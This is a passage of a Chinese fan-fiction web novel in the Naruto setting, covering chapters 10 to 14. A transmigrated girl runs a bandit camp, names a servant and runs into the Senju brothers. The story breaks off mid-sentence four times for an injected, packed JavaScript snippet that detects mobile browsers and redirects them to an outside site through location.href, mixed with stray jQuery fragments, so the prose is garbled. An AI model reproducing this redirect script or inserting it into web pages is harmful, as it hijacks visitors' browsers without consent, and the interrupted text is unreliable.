宇智波灿,收到了自家老爹和长老们很是同情的眼神。他这回总算意识到自己把最疼爱他的堂哥给惹恼了。 可是…… “真的很好吃嘛。”他嘟哝着。 并不意外的,他被泉奈追杀了。斑这回也懒得拦了,只能叹气说:“灿这小子,到底是故意还是故意的?” 明明泉奈都给了台阶了,他硬是把台阶一脚踹飞。他也努力劝了,这小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080598|137999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还来火上浇油。 斑:“联系一下医忍吧,要是不让泉奈锤他几下,泉奈的脸也挂不住。” 宇智波谁不要脸啊,泉奈也很要脸的好不。 这么说着的斑,眼尖看到地上有个袋子,就是宇智波灿藏起来的糖袋。他顶着长老们无语的眼神拿起袋子,掏出一颗捏成了几瓣,往嘴里塞了一小块,说:“真的有那么好吃吗嚼嚼嚼……嗯,好甜加了蜂蜜的嚼嚼嚼……也加了草药吧是什么来着嚼嚼嚼……还挺好嚼的啊没了……” 那么一小颗才嚼没两下就没了。宇智波斑低头看着自己手里的袋子,思量再三后对长老们说:“剩下的就当做是给泉奈的补偿了。” 说着他把刚才被自己捏碎的小糖粒,一视同仁的分发给长老们。不管内心赞同与否,想着给未来族长一个面子的长老们也收了,也塞进嘴里。 几人:“……”腮帮子有在动。 斑将仅剩的两颗,一颗塞进自己嘴里,剩下一个塞进兜里准备给泉奈,然后拍拍屁股回去训练了。 被留下来的长老们,你看我我看你。大长老清了清嗓子说:“制作难度不高,里面加的药草和蜂蜜比例我都品出来了,可以自己做。” 像他们这等身份的人,这类材料肯定是不缺的,还真的可以自己做。 其他长老们…… 二长老一本正经的道:“那就麻烦你把清单写出来,灿这小子也是受了大罪,知道糖袋被斑拿走肯定很难过,我让家忍做了哄哄他。” 其他长老也相继发声。什么哄冷战的老婆啊,哄孩子啊之类的理由都冒出来,最后都从大长老那里得到了清单。 心满意足离开的时候,大长老笑着来了一句:“等泉奈吃过糖了,应该就能体会到一点灿的心情了吧。” 虽然付出了五十两,但对宇智波灿口述中的那位来历肯定不凡的女山贼而言,应该也只是一笔不值一提的小钱。 但对方不仅救了他,还体谅药苦,送了他糖,甚至祝福他平安回家。 糖是好吃没错,但对于全员甜党的宇智波而言,他们会制作比这个糖更好吃的甜品,手里握着的甜品菜单可多了,每一家都有自己的独门秘方。 但是…… 对宇智波灿而言,让他触动的原因并非是这糖好吃到让他开眼,而是……再怎么说也只是个七岁的孩子,即便已经是上战场的年纪,内心还是没长大的孩子。 触动他开眼的是劫后余生的悲喜交加,和那份无比难得的心意。 ——被族人以外的人温柔以待了。 对于将所有的柔软和感情都投注在族内身上的宇智波而言,这是一个想都未曾想过的角度吧。 即便是对其他家族的忍者而言也是一样的。以家族为中心,以血脉而纽带,只有族人聚合一起团结一起才能活下去的这个乱世里,被没有血缘关系,初次见面的外人如此体贴温柔的对待…… “是位温柔的姬君啊。” 大长老用他人听不见的声音低喃着,似乎是想起了某种深远的回忆。可在最后,这份温馨的回忆,还是被血色取代了。 ——希望灿不会遭遇同样的背叛吧。 大长老如此想着,抬手摸了摸自己的眼睛。 只有在无尽绝望中才能进化出的万花筒写轮眼,她衷心的希望宇智波灿日后不要遭遇与她同样的痛苦。 11. 第 11 章 千代让黑夫去城里打听大型药商的事情,足足过去一个月才有消息。 可能是因为千代那种任性的下命令方式让黑夫的智商情商得到了二次开发(近期掉了不少头发),他不是自己亲自来通知,而是放了一只信鸟回来报信。 这只信鸟并非是人为养的,而是自然形成的。寨子里有个小女孩,在前年随同大人出去做采摘工作的时候偶然在一片草丛里发现一只羽毛很漂亮的鸟,就将它抓了带回来想当成储备粮……哦,是宠物兼关键时期的储备粮。 但抓回来第二天就发现鸟不见了。当时小女孩也没在意,带回来养不过是一时兴起,没过多久就过了劲头,不然也不会随便将鸟套在一个破草笼子里,被它啄掉的草飞走。 那个时候又不缺粮食,没必要为了这点子塞牙缝都不够的肉去特地把鸟找回来。但过了几天,那个带她去采摘的大人打猎回来后,把那只鸟也带回来了。 说——是在女孩子当初见到它的地方抓住的。 当小女孩接过的时候,失手被那只鸟挣扎着又飞走了。这时候小女孩就来了气,嚷嚷着让大人跟她一起抓回来。 大人也是个宠孩子的,没有意见的陪着她追着鸟后面跑,越跑越不对劲,那只鸟还是回到了原来发现它的地方。大人觉得有趣,就又把它抓住,但这次不是回寨子,而是特地带着去了另一个方向,而且还是隔了很远的距离。 放飞后,鸟又回来了原来的地方。然后,这成为了一种有趣的游戏。寨子里不少人闲得很,不信邪的参与了抓鸟放鸟的过程,来回十来次后,鸟还是回到了那块地方。 这时候有个人就站出来说:“要不我们看看下面是不是埋了什么东西吧。” 刨出来的是一具已经腐烂得不成样子的鸟尸体。依稀可以从羽毛判断,和这只鸟是同类。 在场的人安静了,有个人说:“这应该是这只鸟的恋人,还挺长情的。” 他们将鸟尸体重新埋了回去,又给鸟喂了一点吃的,这个游戏就此结束。但这件事被小女孩记在心里,她偶尔会去给这只鸟喂吃的,还给它取名叫黑嘴。因为它的嘴巴是黑色的。 黑嘴还是不离不弃的守在了那片地方,它在那里搭的窝都被自己用新草重建了好几次。 现在,寨子因为千代的到来发生改变,黑夫还买了不少仆人回来,比以前热闹了许多。同时也忙碌了起来。 黑夫偶然想起了黑嘴的存在,就让名为黑巴的小女孩带它去找黑嘴,果然见到黑嘴还守在那里。 他把黑嘴带去了城里,在城里租了房,给黑嘴弄个笼子关起来,又让人守在黑嘴的老家。 也正是如此,在发现商人来到城里后,黑夫放飞了这只鸟,自己留在城里继续监视那个商队,千代也得以第一时间知道这个消息。 那么,也就到了她动身的时候, 千代起身打开了屋里唯一的一个衣柜,这是十几天前黑夫让人送来的,他特地让城里的工匠给她打了一个柜子,甚至连屋里的床、被褥、桌椅和她的用具也都换成了城里货。 生活条件提升了一些,但不多,毕竟更好的东西想买也没那个钱。千代给的五十两黑夫早就用完了,现在用的是他攒下来的钱,他甚至还盘下了城里一家店,开始卖山里的山货。 无成本的东西,只是费人送过来而已,却很能赚钱。 对于城里人来说,这些山货算是比较稀罕的——去城里路途既远又危险,周遭的山民可不敢多次来回。 但山寨里有黑二树这个人高马大,光是站着就很有威慑力的人,他来送山货,路上就算是真正的山贼见到都得绕路走。 黑夫做起了生意,甚至还卖了两根百年人参给了城主获得了不少赏赐,所以在条件允许(平民能够买到)之下他提高了千代的生活水平。 千代打开柜子,里面叠放着五套衣服,还有两双鞋子并几件简单的头饰银链。 五套衣服听着不多,但在这个时代一个人能有五套替换的衣服已经是很不得了。要知道寨子里多的是人只有两身缝缝补补继续穿的衣服,而千代这些都是量身定制的。 黑夫似乎是想到千代来时的衣着(运动服),以为对方喜欢那种方便简练的服装,所以让人做出来的衣服除了颜色和图案不一样外,整体都很轻便。 ——看起来就像是千代以前在寺庙里见过的巫女服。 那种短上衣和长裤裙,搭配上鹿皮做的皮靴,外面套一件过腰的短外套,长发束成简单的高马尾,再戴上一个坠着金片的圆金项圈,水面映照出来的女孩透着一股难言的贵气。 哦,这种贵气是白嫩的皮肤和衣服衬托出来的,千代觉得和她本人没什么太大关系。 谁让她的皮肤先天晒不黑。带修纹的染色布衣服本就是一般人消费不起,而白皮肤和纯金项链,在这个时代本就视为贵族的象征。 她这身装扮,就连富商人家的女儿都不敢这么打扮。 人是有阶级的。 什么人穿什么样的衣服,戴什么样的东西,全都是有阶级之分的。这种认知被刻入了每个原住民的脑子里,他们估计怎么都没想到竟然还有人明明是个异世界外来者,还敢戴着贵族才有资格戴的金器。 她走出了屋子,无视守在门外的黑二树和其他人对她如此装扮表露出来的态度,而是理所当然的对放下手头工作跑过来的黑女说:“你之前不是提到过有个女仆力气很大,跑得很快吗?让她过来。” 黑女黑黝黝的脸上带着明显的红润,看着千代的眼神还带着忐忑的躲闪,她紧张的应了一声,很快就找来了那个女仆。 这是一个快三十岁的女人,在这个时代,这个年纪估计都能当奶奶外婆了,但她是一个人被买来的。 听说原本是一个村里的人,有过丈夫和孩子,某天在知道发烧的孩子被丈夫嫌弃累赘活埋掉后,她杀死了丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080599|137999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫,又打伤了想抓住她的村民,逃到了城里,从此靠做苦力活勉强养活自己。 黑夫买下她算是一个意外,是对方主动找来自卖自身的,从一个自由人自愿变成仆人(实话就是奴隶)也是一件稀罕事了。 女人名为脚女,因为她有一双比男人还大的脚,身高大约一米六五,已经比普通男人要高一些了。 她过来后,低着头不敢看千代,态度十分恭顺。千代对她说:“你是从城里来的,如果你背着我跑到城里,觉得需要多长时间?” 脚女战战兢兢的说:“应该……应该和二树先生去城里的时间差不多。小的有一次和二树先生一起进城送货,他越跑越快,小的追上了。” 黑二树摸了摸后脑勺:“啊,我忘记还有一个人,她跑得挺快的。” 千代:“那你背着我进城。” 黑二树好像以为自己也要去,但千代说:“你留着,她就足够了。” “可是……”黑二树觉得很危险,毕竟千代可是他们的老大,黑夫说了,靠着千代他们才有大富大贵的机会。 大富大贵什么的黑二树没想过,但黑夫还说——孩子们有长大结婚生子的机会——这句话的分量可比大富大贵要吸引力大得多。 他犹豫了,却对上了千代那双平静的眼睛。平静得,让黑二树下意识瑟缩一下的眼睛。 明明是和蓝天一样颜色的眼睛,不知为何,让黑二树内心有些恐慌。他此时想到的是——就像是下一秒就会有暴风雨来临的,风暴来前最后的一片蔚蓝——那种让人战栗悚然的感觉。 他后知后觉的想起来:千大人不需要他们保护。 因为千代在进寨子里后就再也没有展现她的能力,让黑二树都忘记了——她是怎么成为寨子老大的。 千代随意的看了一眼黑二树,见对方害怕的弯腰颤抖模样,才收回眼神,对脚女说:“去换一身干净的衣服和鞋子。也洗个澡。” 脚女不敢说自己没有干净的衣服鞋子,但黑大的妻子黑术却是拉着她走了,不到一盏茶的时间,脚女回来了。 穿着黑术压箱底的衣服——一套很普通的连颜色都染不均匀的灰布和服,下身还穿着一条不知道从哪个寨子男人柜子里翻出来的麻布长裤,脚上则是一双草鞋。 估计草鞋也是从谁那里搜刮来的吧。 她简单的冲了澡,头发还有点湿。穿着拼凑出来的衣服,头发也用草绳绑起来,脸很方,五官倒是有几分清秀,看起来和之前截然不同,木讷的表情都能体会出几分不怒自威的威严——站在千代旁边,就像是专门伺候对方的随身婆子,带着管事婆子的气势。 千代挑眉,只能心里感叹人真的很靠衣装。 她让脚女蹲下,趴在她的背上,也不在意对方的湿发,说:“背我进城,如果你真的如你说的那么快,我赐你一个名字。” 脚女那空洞无光的眼里,第一次迸发出了亮光。 12. 第 12 章 不知是不是‘起名’的威力,千代觉得自己不是让人背着跑,而是坐在一架飞行器上。 脚女的速度和力气都被低估了,她就像是背着一根羽毛,双腿犹如螺旋桨一般的转动着,她的速度已经不能用简单的快来形容。 ——像一阵风。 可能是因为太快,为了减少空气阻力,她的双手没有像常人奔跑那样的前后摆动,而是自由垂着,被速度带着往后斜倾。 在科技没有发展起来的时代,是没有水泥路的,在乱世时代,就连官道都没有,全都是土路。土路并不好走,布满了碎石和野草,还可能会有毒蛇毒虫,更恶劣一点,连一块正经的平地都没有。 但不管前面是碎石还是石头,都不是阻碍穿着草鞋的脚女的因素。 她真的就如同一道风,千代只能够将脸缩在她的背后,才不至于被奔跑带来的风吹皱刮疼面庞。 过了多久呢?也许没有多长时间,因为脚女的后背很稳,速度很快,千代有些昏昏欲睡。 等到她终于停下,一座木制的大门出现在她眼前。三米高的大米,周边围着不到两米的土墙,门口有两个穿着叠甲的士兵,凡是想进城的人都必须给他们交入城费。 脚女在靠近大门的时候就有意识的放慢脚步,等到她停下的时候,黑术给她盘起的头发早就散乱,固定盘发的树枝也不翼而飞。 脚女甚至都没有大喘气,她只是呼吸微微紊乱,不一会儿就平复下来。她在离着大门有一段距离的地方停下,也有意识的避开了进城的队伍。 她用干哑的声音说:“千主,我们到了。” 一开始仆人们是按照黑夫的吩咐喊她主人的,但千代不喜欢这个称呼,仆人们就都改口叫千主。因为他们从黑夫那里知道,这个寨子里他们唯一的主人只有这位七岁的来历高贵的小女孩。 按照黑夫的说法,是必须用性命去守护的主人。 脚女双膝跪地,千代从她身上下来,犹如巡视自己领土一般冷然坦荡的扫过周围人,原本频频看过来的众人皆害怕的低下头。 尽管千代的衣着对比贵族来说显得寒酸,但这位小女孩不需要服装的点缀,光是那不同寻常的气场就足以让人下意识的想到——不可得罪的贵女。 即便她只带了一个形容狼狈的婆子,也只会让人以为——是微服出访的贵女。她身后说不定还隐藏着护卫的武士甚至是忍者。 千代一手放在脚女的肩膀上,对方原本想起身的动作立刻僵住,维持着下蹲的动作。 她硬得就像是一块石头。甚至不知道重新跪下。 千代:“你的孩子,是男还是女?叫什么名字?” 脚女沉默了几秒,用哽咽沙哑的声音说:“女孩,叫、叫平安。她是、她是第三个孩子,前面的两个……还没出生就夭了。” 千代:“你姓什么?” 脚女似乎有些疑惑:“千主,我没有姓,只有忍者和贵族才有姓。” “是么?”千代看她不像撒谎,就问,“你的父母呢?” “是父母的名字吗?小的不知道,小的没见过他们,记事起我就在夫家了,他们说是在山里捡到我的。”能被人捡走养活是一件幸运的事,但前提是……别活得比奴隶还像条狗。 千代点了点头,没有同情没有怜悯,也没有安慰,而是低头看着她的后脑勺,像是漫不经心一般的说:“从今天起,你姓平安座,名沨。” 她随手折断手边一棵小树的树枝,微微弯腰在地面上缓缓写下‘平安座沨’四个端正的汉字。 她又重复了一下读音,问:“记住了么?” 回答她的,是滴在泥土地上的水滴,豆大的水滴落在了汉字上,用树枝画出来的沟渠被水灌满,就像是千代以前去乡下郊游时,她的姐姐带着她去田里抓鳗鱼时,从山坡上看到的……田四周的水沟被河水灌满的样子。 千代有看似古板严厉实则很好说话的父亲,有看似温柔实则性格强硬的母亲,有要强自律内心柔软的姐姐。 而现在,只有她一人。抛弃了姓,抛弃了家人,现在连出生的世界也被抛弃。 脚女没有父母,她曾经有过孩子,但现在她孤身一人。不同的是她没有抛弃任何事物,她拥有了一个无比渴望又从未得到过的姓名——平安座沨。 平安座沨死死的盯着地上的字,甚至忘记了旁边还有千代,直到眼泪将字打得模糊不清,她才噗通跪下,用力的一头砸在了那一小摊潮湿的土面上,哑着声喊:“记住了!” 即便是拿出喊的气势,其实也只是发出和气音差不多的声音罢了。她说:“沨记住了,沨的名字啊……是平安座沨。” “嗯。”她得到了千代的回应。 此时平安座沨才知道,千代一直在旁边等着她整理心情。这个迟来的认知似乎是吓傻了她,让她忍不住抬头看向这位小主人。 小主人只是看着城门的方向,背对着她。平安座沨看不到她的脸,但她能看到日光照耀在对方的发顶上,那褐色的头发似乎散发着浅淡的金光。 犹如她在城里听到说书人讲故事时,形容的——散发着光芒的神明。 如果这个世界有神明的话,平安座沨想着:千主就是我的神明。 ——就算有万千神明,我也只认这一个。 “整理一下自己吧。”千代如此道。 平安座沨手忙脚乱的整理自己的头发,但她不会盘发,千代又说:“绑起来就行了。盘着难看,像个缺了两个角的大脸盆。” 平安座沨愣了下,但手还是不慢的将头发绑成了马尾。是低马尾。因为千代是高马尾,她不敢也像那样绑。这样绑起来后,平安座沨觉得轻松多了。之前的盘发就像是有什么东西抵住后脑勺一样,跑起来的时候还会碍事。 她想:嗯,盘发确实丑,跟缺了角的大脸盆一样,一点用处都没有。 见她已经整理好头发和衣服,千代又让她蹲下身,将自己抱起来。平安座沨听话这么做,她让千代坐在她的左臂上,就像是以前抱着她的女儿种地干家务那样的竖抱。 她很爱她的女儿,那是失去了两个孩子后才出生的孩子,视若珍宝。一刻看不到都会想念,仗着力气大,她经常抱着她,而且一点不觉得累。 如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080600|137999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,女儿曾经待着的位置,换了一个人。可是……这个人的重量依旧是如羽毛那么轻。 可这是不一样的。 她知道不一样,只是她形容不出来这种感觉。 平安座沨的腰背从未像现在这么硬直过,她小心翼翼的护着怀里的小女孩,迈着外八步,一步一步稳稳的走向了大门的位置。 她仰着头,目光如炬的盯着前方,前头排队进城的人似乎被她的气势吓到,纷纷呢让开。 平安座沨直直的走向大门,无视那两个负责收入城费的士兵,迈过了她第一次来时,犹如看待另一个世界事物般,觉得恢弘无比的大门。 ——千主没有让我停步,没有让我给过路费。 她这么想着。 所以她没有停下。 不知道是不是这副态度过于坦然,士兵们也没有拦下她们要入城费,反而在二人通过时低着头,就像是担心冲撞到贵人。 她们就这么进去了。 这道身影落入了身后之人的眼中。 银发红瞳,双颊和下巴各有一道红色印记的黑衣少年,目光深沉的盯着这道背影。他嘴角习惯性的抿着,看起来严肃又不好说话。 他站在了排队的列队里,就算被后面的人插队也没有所谓。 他只是等前面那道身影再也看不见了,才移步到了刚才二人的位置。那里被眼泪打湿浸软,又被头槌砸得面目全非,但可以依稀看出来——那里原本有汉字。 从间距判断,是四个汉字。 因为不想惹麻烦,更不想招惹这种疑似微服出门的麻烦贵女,少年之前故意站在远处,他只能看到二人的动作,不知道他们在说什么。因为角度的关系,甚至读不出完整的唇语。 但是他读到了一部分唇语,推敲出了整件事。 ——那个疑似任性,只带着一个婆子就离家的贵女,给一个婆子赐了姓名。 什么样的贵女才有资格给人赐姓名?还是赐姓? 忍者的姓是自己取的,祖先取了姓,后代传承并将之发扬光大。 贵族的姓……贵族原本没有姓,是皇族赐予他们姓氏。 少年回忆起有关于皇族的事情,可惜在他的脑海里,这些知识非常贫乏。皇族之事很难打听,他们就像是活着的传说,听说有,但从未见过,就连流传出来的事也极少。 但贵族们,大名们知道。 少年回忆着,是否有听过大名提起皇室之事。 ——没有。 ——即便是作为大名府贵客的千手,在忍者面前,贵族从不谈论政事。他们只谈任务。 给多少酬劳,让你去做多少事。不同的任务因难度对应不同等级的酬劳。 仅此而已。 ——那位姬君,到底是谁? 十五岁的千手扉间怀着这样的疑惑,跟上了前面的队列,交了三文钱的入城费,踏入城中。然后——步伐坚定的朝着城内最大的赌场走去。 每走一步,他的步伐就越来越重,越来越慢,就好像是有什么东西在酝酿,在积蓄,等找到怒气的源头之后——狠狠锤爆他的脑袋! 13.第 13 章 平安座沨曾经在城里走街窜巷的混日子,她对城里地形很熟悉,抱着千代前往黑夫盘下的山货店。 黑夫看到千代的时候还很惊讶,但比起惊讶可能更多的是羞愧,他推开缠着他讨价还价的顾客,连滚带爬的冲过来跪在马路中央,额头贴着地面的喊道:“没有第一时间去迎接您,实在罪该忘记,千大人!” 本来黑夫在放出黑嘴传递消息后,就打算去城门口等待迎接的,但前脚刚准备走,后脚就来了个难缠的客户。 因为对方购买的数量大,他给予了优惠,但这名客户对优惠力度不满意,两边就磨了起来。客户的耐心非常足,宁愿耍几个小时的嘴皮子也想达到自己的目的。 像这类客户虽然不多,但其实也存在的。做生意总会遇到一些奇葩客户,而时间对于大家来说,估计算是最不值钱的。别说是几个小时了,黑夫还遇到过那种连续四天坚持不懈跟他讨价还价的人。 就算只是想少花一文钱,有些人还是宁愿花费不等值的时间。本来黑夫是打算尽快将人打发掉,算了下时间还有黑二树的脚程,他还有一个小时的准备时间。 却没想到千代来得这么快! 千代看了眼那位见到她出现就面露惧色的顾客,对方与自己视线对上后,吓得跪了下来。应该是被误以为冒犯了贵人吧,千代对此反应平淡。 这名客人估计心里还嘀咕着小看这个山货店,没想到店的靠山竟然是位姬君。不过好处就是,他也不扯皮了,反倒还不要黑夫最开始给的折扣,用原价买下了店里的存货。 大包小包的东西装上了木车,客人和他的随从卑躬屈膝的从千代旁边走过,飞快的离去。 黑夫看得心生感慨,他从没想过千代的出现竟然能让事情变得如此简单。而他也注意到其他店家看着他的眼神都不一样了,就连之前联合排挤他的几家城内人开的店,店老板还朝他露出谄媚的赔罪笑容。 黑夫是不会觉得这种转变是一种不甘,不会觉得他一开始开店为了站稳跟脚付出的那么多努力会不及千代一个照面带来的要好。 他只会觉得——如果他有点文化的话,就能用‘狐假虎威就是爽歪歪’来形容现在的心态吧。 货卖光了,店自然没必要开着。千代坐在店里唯一的一张椅子上,喝着蜂蜜水看着黑夫和平安座沨手脚麻利的整理东西准备关店。 “黑夫大人,千主给小的赐了名。”平安座沨一边忙活,一边如此说道,“从今日起,小的名为平安座沨。” “哎?”黑夫震惊的看着她。他本来还以为只是赐了个名字,这种事很常见,很多主家确实会给自己看中的仆人赐名。 但也仅限于名而已。 黑夫心情有些复杂,因为他自己都没有姓。虽然山寨里所有人的名字都是黑+其他,但黑并不是姓氏。 他压下心头的羡慕嫉妒恨,用尽量平静的语气说:“不要告诉别人你的姓。只有忍者和贵族才有姓。”他又补充一句,“至少现在不是时候。” 平安座沨点了点头,其实她心里也是这么想的。她不是傻子,虽然猜测千代的来历不凡,但对方既然出现在一个山寨里,身边没有武士或者忍者保护,那就是在隐藏身份。 她可是蹭过很多说书人讲的小故事,知道不要用暴露姓这种事给千代惹麻烦。 黑夫见她认同的模样,内心更加酸涩了,他道:“既然被赐了姓名,以后就叫我黑夫吧,你不是仆人了。”算是认同他是寨子里的一份子,和他们是一样的地位。 平安座沨没有表现得欣喜如狂,仅仅是眼神激动了一下就点了点头,朝他说了声谢谢。 黑夫:……谢你的头,你个运气好到爆炸的女人! ——我也想被赐姓名啊! 在问过她们为什么能来得这么快,确定平安座沨确实有被千代看重的本事之后,黑夫觉得自己身上的血液在沸腾。 ——要更努力的赚钱!为千大人排忧解难! ——我以后也要被赐姓名! 千代并不着急询问那伙商队的事情,等黑夫关了店后才问起来。黑夫还是打听到一些事情了,事无巨细的转述给对方听。 这是一支由五辆马车和四十个人组成的商队,这种规模已经算是很大的了,毕竟除了零头的老板是商人外,其他人都是随从,里面还有二十三名浪人。 能养得起这么多名浪人可不是一般的本事,他们擅长用刀,就算对付十个拿着刀的普通人都是轻轻松松。 浪人其实就是居无定所的穷困武士,听说以前是曾经辉煌过的,但在贵族们转而雇佣忍者来打仗之后,他们的地位就一落千丈。虽然大名们也会有一些武士做护卫,但他们的作用更趋向于撑门面。 如此,武士的后代出路就变得尴尬起来。如果是女儿的话还能去联姻,或者送进大名府做侍女,但儿子就不一样了,只有长子才有资格继承家业,其他的儿子只能自谋生路,但又因为武士算是士族,他们不能从事经商等贱业,除非真的受宠到家里愿意给他分地做个小地主,不然就只能沦落为浪人,给有钱人做打手。 不能从商,却能给商人做护卫,这种矛盾的现象反倒是成为合理。 撇去这些不谈,从浪人数量可以看出来这支商队的本事。 黑夫:“他们在进城之前是雇佣了忍者的,忍者没有跟着进城,这也是小的猜测他们应该是去跟忍者家族做生意的原因。”没有忍者护卫想要从遥远的其他城来到这里几乎是不可能的。 而想和忍者家族做生意,那就不能带其他忍者,这也是规矩。 “知道是和哪一家做生意么?”千代问。 “不知道,不过小的打听到离城里最近的两个忍者家族,分别是千手和宇智波。” “哦?”千代放下杯子,看向了黑夫。“他们两边的地盘离得很近?” “不清楚。小的注意到他们进城后也采买了大量药材,几乎所有店家的药材都被他们低于市场价收了。”说到这里,黑夫眼底闪过一丝黯然。因为背后有大名做靠山,就算是低价收药材,也没有一家店敢提出异议。 黑夫:“他们的存货远超过五辆车,现在装好货的车,其实都没有装到极限。留下了一部分放在宅子里,有人日夜看守,小的雇了几个孩子去查探了,按照他们描述的数量,还能再装四五车的样子。” 千代:“也就是说,他们是做两家的生意。但因为两家不对付,所以分开做。” 千代猜测两家离得不近,但也不会特别远。这是一种奇怪的现象,既然是两个对立的有血仇的家族,不应该将地盘隔得远远的么? 千代:“千手和宇智波家的地盘,是他们自己选的还是有人赐予的?” “咦?”黑夫一脸迷茫,“小的去打听一下。” “不用了。”千代起身道,“先去一趟书店吧。你带路。” 千代早就想了解一下这个世界的事情了,但很可惜,渠道太少了。大多数人光是自己的小日子都很难维持,他们并不知道多少大事。 有想过让黑夫买一些书回来,但书本太贵了,一本书的价格都够买一块不错的地。而且书店卖的更多还是一些消遣的小说,这类小说因为纸质差倒是卖的不贵,可要说有什么看的价值,那是没有的。 黑夫只认识一些简单的用于做生意的字和数字,让他去找店家问有没有卖正经的书籍,百分百会被坑。毕竟正经书用的是汉字,而普通人使用的是平假名之类简单的文字。 不过黑夫倒是有去过书店买笔墨纸砚,所以他是认得路的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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聊着无所谓的八卦打发时间,离书店越来越近,只要再过一条街就到了。黑夫指着这条路上最大的店面:“那是一家赌场,也是城主开的,小的之前进去过几次,那些人就跟疯子一样,把自己辛苦赚来的钱去赌,小的没见过几个能赢的,基本都是赌到衣服都不剩。” 他是去打探消息的,赌场这种人龙混杂的地方最适合打探消息,但为了不被赶出去,也肉疼的赌了一点,有赢有输,但黑夫却很讨厌赌这种行为。 可能是因为赢钱的成就感远远低于输钱的哀愤吧。赢一百文都不比他自己输了一文钱让他捶胸顿足。 要去书店,就必须经常赌场,也不知道书店建立在这种地方是不是有靠着‘赌场打手多’这一震慑的缘故。 他们刚要经过赌场大门,突然从里面飞出了一个人,一个黑色长发的被扒光得只剩下一条兜裆布的少年,被几名打手给扔了出来。 少年像是乌龟一样的趴在地上,正面朝下,两条腿还抖了抖。 打手不屑的道:“没钱了还想赌,滚吧,下次带够钱了再说。” 等打手进去了,少年才慢吞吞的起身,拍了拍脸上的尘土说道:“真是现实啊,我刚进去的时候可是很尊敬我的,每次输完钱都换了副脸……啊。” 少年抬头看见了面前的三人,在看到千代之后,目光落在她的金坠子和白皙的皮肤上,连忙低下头,像极了每一个不想惹麻烦的普通人。 但就算是摆出这副卑微的样子,眼睛确实滴溜溜的往上瞧,自以为很隐晦的偷偷打量千代。 “啊,是恩人!”黑夫却是惊喜的道。“大人,这位就是我跟您提过的,之前救过我名的那名恩人,柱间!” 柱间疑惑的看向黑夫,从记忆里翻了翻才认出来:“哎,原来是黑夫啊。好久不见,你怎么比我之前见到的……胖了那么多。” 黑夫:“比起这个……”看向了赌场,感慨的说,“记得第一次见到您时,您也是被扒光衣服扔出来的。” 柱间,柱间尴尬得眼神乱飘,不敢搭腔。 14.第 14 章 赌场对面巷子的大树上,树枝蹲着一道黑色的身影,不知是用了什么忍术,他看起来就像是融入了树之中,犹如变色龙般让人无法察觉。 扉间觉得糟糕透了。他早就到了这附近,没有选择直接进去将柱间拖出来暴打一顿,就已经很给这个兄长面子。 另外也是想看看这家伙到底能丢脸到什么程度?看到柱间被人扒光衣服扔出来时,扉间果断选择了继续待在树上观察。 ——太丢人了。 心里还庆幸这家伙最起码有点分寸,在外没有报上家族的姓氏。不然被宇智波家知道,那千手家就真的是没脸见人了。 可麻烦的大哥永远是那么麻烦——他竟然和自己在城门见到的那个贵女攀谈上了。好吧,正确来说是和对方的随从攀谈。 对扉间来说这并没有什么区别,他不关心这名贵女的身份,他只知道贵族这种生物都很麻烦,如果可以的话,他一个都不想见到。 对柱间性格分外了解的扉间,意识到再不把柱间带走只会发生更让他头疼的事情,他很果断的从树上下来,一边脱自己的外衣一边快步走过去。 黑色外衣扔过去,罩住了柱间的脸,也遮住那副丢死人的模样,上身只剩下一件网状背心的扉间才觉得眼睛好受了一些。 ——接下来只需要例行公事的向这位贵女道歉,将笨蛋大哥拖走就行了。 非常擅长收拾烂摊子(特指柱间)的扉间如此想着。 可显然他低估了自己大哥不靠谱的程度。柱间扯下了外套,一边穿一边说:“啊,扉间你怎么来了?你也是来赌钱的吗?那正好,能借我点钱吗?” 扉间,扉间的额角冒出一道青筋,紧握的拳头也是青筋脉动。他忍无可忍的喊道:“以为谁都像你一样吗?你这烂赌鬼!” 这个只要一拿到工钱就迫不及待的跑来赌场全部输光的家伙,只要一想到他是千手家的少族长,扉间就觉得未来一片黑暗。 可显然柱间不知道弟弟的苦恼,他穿上外套后还说:“是不是少了一条腰带。这样可是很失礼的。” 扉间咬牙:“如果你知道羞耻,就不会这副样子被人赶出来了。” 柱间,柱间抱着双膝蹲在地上,头顶似乎出现了一片乌云,整个人陷入了一种失落沮丧之中。 